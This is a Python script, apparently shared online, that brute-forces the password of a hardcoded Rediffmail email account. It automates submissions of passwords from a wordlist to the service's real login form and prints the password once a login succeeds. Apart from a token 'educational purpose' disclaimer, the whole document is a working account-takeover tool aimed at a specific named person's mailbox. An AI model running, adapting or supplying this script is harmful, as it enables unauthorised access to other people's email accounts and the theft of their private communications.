Rediffmail Account Brute Script

import mechanize
import cookielib
import sys
email = "k.jaiswani@rediffmail.com";
wordlist = "wordlist.txt";
url = "https://mail.rediff.com/cgi-bin/login.cgi";
print """
  Dark Rediffmail Bruter Script.
  Written By : Tanmay Upadhyay [ India ]
  Email : kevinmetnik606@gmail.com

  [WARNING] Only for educational purpose dont use it for hacking purpose.
\n
"""
def _brute_():

 if(email == ""):
    print "\n\t[Error] Sorry we cant able to find email to attack.";
    sys.exit(1);
 br = mechanize.Browser();
 cj = cookielib.CookieJar();
 br.set_cookiejar(cj);
 br.set_handle_robots(False);
 br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time = 1);
 br.set_handle_referer(True);
 f = open(wordlist,'r');
 data = f.readlines();
 data_len = len(data);
 br.open(url);
 print "[+] Wordlist contain max [ %s ] words."%data_len;
 print "[!] Connected to Rediffmail server.";
 print "[!] Starting attack against [ %s ]"%email
 print "\n\tStarting a wordlist attack.....";
 print "\n";
 for pas in data:
     pas = pas.replace("\n","");
     br.select_form(name="loginform");
     br.form['login'] = email;
     br.form['passwd'] = pas;
     br.submit();
     if(br.geturl() == url):
        print "[error] password %s in not correct."%pas;
     else:
        print "[success] correct password found.";
        print "\n\tEmail => %s \n\tPassword => %s"%(email,pas);
        print "\n"
        br.close();
        sys.exit(1);
try:
    _brute_();
except KeyboardInterrupt:
    print "\n\t[+] Operation Cancelled by Attacker [ Ctrl + C ] Pressed.";
    sys.exit(1);
except IOError:
    print "\n\t[Error] Unable to locate or open wordlist file.";
    print "\n";
    sys.exit(1);
except:
    pass